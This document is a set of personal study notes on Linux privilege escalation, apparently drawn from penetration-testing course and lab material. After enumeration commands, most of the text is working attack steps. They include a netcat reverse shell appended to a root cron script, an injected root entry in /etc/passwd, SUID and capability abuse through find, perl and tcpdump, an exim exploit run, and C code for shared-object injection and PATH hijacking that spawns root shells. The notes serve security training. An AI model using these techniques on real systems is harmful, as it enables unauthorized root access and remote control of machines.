Linux PE Escalation

Manual Enumeration

sudo -l

ls -l /etc/shadow

id

cat /etc/passwd

cat /etc/issue

cat /etc/os-release

uname -a

ps aux

ip a

routel

ss -anp

cat /etc/iptables/rules.v4

# The Linux-based job scheduler is known as cron.17 Scheduled tasks are listed under the /etc/cron.* directories, 

#where * represents the frequency at which the task will run. For example, tasks that will be run daily can be found under /etc/cron.daily. Each script is listed in its own subdirectory.

ls -lah /etc/cron*

# To view the current user's scheduled jobs, we can run crontab followed by the -l parameter

crontab -l

# Listing cron jobs using sudo reveals jobs run by the root user.

sudo crontab -l

# To list applications installed by dpkg on our Debian system, we can use dpkg -l

dpkg -l

# In the example below, we are searching for every directory writable by the current user on the target system. We'll search the whole root directory (/) and use the -writable argument to specify the attribute we are interested in. We can also use -type d to locate directories, and filter errors with 2>/dev/null:

find / -writable -type d 2>/dev/null

# On most systems, drives are automatically mounted at boot time. Because of this, it's easy to forget about unmounted drives that could contain valuable information. We should always look for unmounted drives, and if they exist, check the mount permissions.

# On Linux-based systems, we can use mount21 to list all mounted filesystems. In addition, the /etc/fstab22 file lists all drives that will be mounted at boot time.

cat /etc/fstab

# we can use lsblk23 to view all available disks.

lsblk

# We can enumerate the loaded kernel modules using lsmod without any additional arguments.

lsmod

# Once we've collected the list of loaded modules and identifed those we want more information about, such as libata in the above example, we can use modinfo to find out more about the specific module. We should note that this tool requires the full path to run.

/sbin/modinfo libata

# We can use find to search for SUID-marked binaries. In this case, we are starting our search at the root directory (/), searching for files (-type f) with the SUID bit set, (-perm -u=s) and discarding all error messages (2>/dev/null):

find / -perm -u=s -type f 2>/dev/null

Automated Enumeration

# we can use unix-privesc-check1 on UNIX derivatives such as Linux. This Bash script is pre-installed on our local Kali machine at /usr/bin/unix-privesc-check, and it performs a number of checks to find any system misconfigurations that can be abused for local privilege escalation. 

# We can review the tool's details by running the script without any arguments.

unix-privesc-check

./unix-privesc-check standard > output.txt

Inspecting user trials ######################################################################

env

cat .bashrc

Inspecting Service Footprints ###############################################################

watch -n 1 "ps -aux | grep pass"

sudo tcpdump -i lo -A | grep "pass"

Insecure File Permissions: Abusing Cron Jobs #####################################################

cat /etc/crontab

# We could also inspect the cron log file (/var/log/cron.log) for running cron jobs:

grep "CRON" /var/log/syslog

# With the above command if you find any thing that is run by root. Lets take for example that a script called user_backups.sh under /home/joe/ is executed in the context of the root user. Judging by the timestamps, it seems that this job runs once every minute.

ls -lah /home/joe/.scripts/user_backups.sh

# Since an unprivileged user can modify the contents of the backup script, we can edit it and add a reverse shell one-liner.3 If our plan works, we should receive a root-level reverse shell on our attacking machine after, at most, a one-minute period.

cd .scripts

echo >> user_backups.sh

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.118.2 1234 >/tmp/f" >> user_backups.sh

cat user_backups.sh

nc -lnvp 1234

id

Abusing Password Authentication #########################################################

openssl passwd w00t

echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd

su root2

id

Abusing Setup Binaries and Capabilities ###################################################

passwd  # To Change the password

# To find the PID (process ID) of the passwd program, we can list all processes and filter the output based on the target name:

ps u -C passwd

grep Uid /proc/1932/status

cat /proc/1131/status | grep Uid

################# Below one is an important example ##################  

# The passwd binary behaves differently because the binary program has a special flag named Set-User-ID, or SUID in short. Let's inspect it:

joe@debian-privesc:~$ ls -asl /usr/bin/passwd

64 -rwsr-xr-x 1 root root 63736 Jul 27  2018 /usr/bin/passwd

# The SUID flag is depicted with the s flag in the above output. This flag can be configured using the chmod u+s <filename> command, and it sets the effective UID of the running process to the executable owner's user ID - in this case root's.

# As a practical example, once we've completed manual or automated enumeration, we'll have discovered that the find utility is misconfigured and has the SUID flag set.

ls -asl /usr/bin/passwd

# We can quickly abuse this vulnerability by running the find program to search any well-known file, like our own Desktop folder. Once the file is found, we can instruct find to perform any action through the -exec parameter. In this case, we want to execute a bash shell along with the Set Builtin1 -p parameter that is preventing the effective user from being reset.

find /home/joe/Desktop -exec "/usr/bin/bash" -p \;

# Another set of features subject to privilege escalation techniques are Linux capabilities

# Capabilities are extra attributes that can be applied to processes, binaries, and services to assign specific privileges normally reserved for administrative operations, such as traffic capturing or adding kernel modules. Similarly to setuid binaries, if misconfigured, these capabilities could allow an attacker to elevate their privileges to root.

# To demonstrate these risks, let's try to manually enumerate our target system for binaries with capabilities. We are going to run getcap with the -r parameter to perform a recursive search starting from the root folder /, filtering out any errors from the terminal output.

joe@debian-privesc:~$ /usr/sbin/getcap -r / 2>/dev/null

/usr/bin/ping = cap_net_raw+ep

/usr/bin/perl = cap_setuid+ep

/usr/bin/perl5.28.1 = cap_setuid+ep

/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep

/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

# The two perl binaries stand out as they have setuid capabilities enabled, along with the +ep flag specifying that these capabilities are effective and permitted.

# In order to exploit this capability misconfiguration, we could check the GTFOBins3 website. This site provides an organized list of UNIX binaries and how can they be misused to elevate our privileges.

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

id

Abusing Sudo Permissions #######################################################################

sudo -l

COMMAND='id'

TF=$(mktemp)

echo "$COMMAND" > $TF

chmod +x $TF

sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

cat /var/log/syslog | grep tcpdump

su - root

aa-status

sudo apt-get changelog apt

!/bin/sh

sudo apt-get changelog apt

id

SUID/SGID Executables ################################################################################

Find all the SUID/SGID executables on the Debian VM:

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

SUID / SGID Executables - Known Exploits

Note that /usr/sbin/exim-4.84-3 appears in the results. Try to find a known exploit for this version of exim. Exploit-DB, Google, and GitHub are good places to search!

A local privilege escalation exploit matching this version of exim exactly should be available. A copy can be found on the Debian VM at /home/user/tools/suid/exim/cve-2016-1531.sh.

Run the exploit script to gain a root shell:

/home/user/tools/suid/exim/cve-2016-1531.sh

SUID / SGID Executables - Shared Object Injection

The /usr/local/bin/suid-so SUID executable is vulnerable to shared object injection.

First, execute the file and note that currently it displays a progress bar before exiting:

/usr/local/bin/suid-so

Run strace on the file and search the output for open/access calls and for "no such file" errors:

strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"

Note that the executable tries to load the /home/user/.config/libcalc.so shared object within our home directory, but it cannot be found.

Create the .config directory for the libcalc.so file:

mkdir /home/user/.config

Example shared object code can be found at /home/user/tools/suid/libcalc.c. It simply spawns a Bash shell. Compile the code into a shared object at the location the suid-so executable was looking for it:

gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c

Execute the suid-so executable again, and note that this time, instead of a progress bar, we get a root shell.

/usr/local/bin/suid-so

# the contents of libcalc.c

#include <stdio.h>

#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {

setuid(0);

system("/bin/bash -p");

}

SUID / SGID Executables - Environment Variables

The /usr/local/bin/suid-env executable can be exploited due to it inheriting the user's PATH environment variable and attempting to execute programs without specifying an absolute path.

First, execute the file and note that it seems to be trying to start the apache2 webserver:

/usr/local/bin/suid-env

Run strings on the file to look for strings of printable characters:

strings /usr/local/bin/suid-env

One line ("service apache2 start") suggests that the service executable is being called to start the webserver, however the full path of the executable (/usr/sbin/service) is not being used.

Compile the code located at /home/user/tools/suid/service.c into an executable called service. This code simply spawns a Bash shell:

gcc -o service /home/user/tools/suid/service.c

Prepend the current directory (or where the new service executable is located) to the PATH variable, and run the suid-env executable to gain a root shell:

PATH=.:$PATH /usr/local/bin/suid-env

# the contents of .c file

cat /home/user/tools/suid/service.c

int main() {

setuid(0);

system("/bin/bash -p");

}

SUID / SGID Executables - Abusing Shell Features (#1)

The /usr/local/bin/suid-env2 executable is identical to /usr/local/bin/suid-env except that it uses the absolute path of the service executable (/usr/sbin/service) to start the apache2 webserver.

Verify this with strings:

strings /usr/local/bin/suid-env2

In Bash versions <4.2-048 it is possible to define shell functions with names that resemble file paths, then export those functions so that they are used instead of any actual executable at that file path.

Verify the version of Bash installed on the Debian VM is less than 4.2-048:

/bin/bash --version

Create a Bash function with the name "/usr/sbin/service" that executes a new Bash shell (using -p so permissions are preserved) and export the function:

function /usr/sbin/service { /bin/bash -p; }

export -f /usr/sbin/service

Run the suid-env2 executable to gain a root shell:

/usr/local/bin/suid-env2

SUID / SGID Executables - Abusing Shell Features (#2)

Note: This will not work on Bash versions 4.4 and above.

When in debugging mode, Bash uses the environment variable PS4 to display an extra prompt for debugging statements.

Run the /usr/local/bin/suid-env2 executable with bash debugging enabled and the PS4 variable set to an embedded command which creates an SUID version of /bin/bash:

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2

Run the /tmp/rootbash executable with -p to gain a shell running with root privileges:

/tmp/rootbash -p

Remember to remove the /tmp/rootbash executable and exit out of the elevated shell before continuing as you will create this file again later in the room!

rm /tmp/rootbash

exit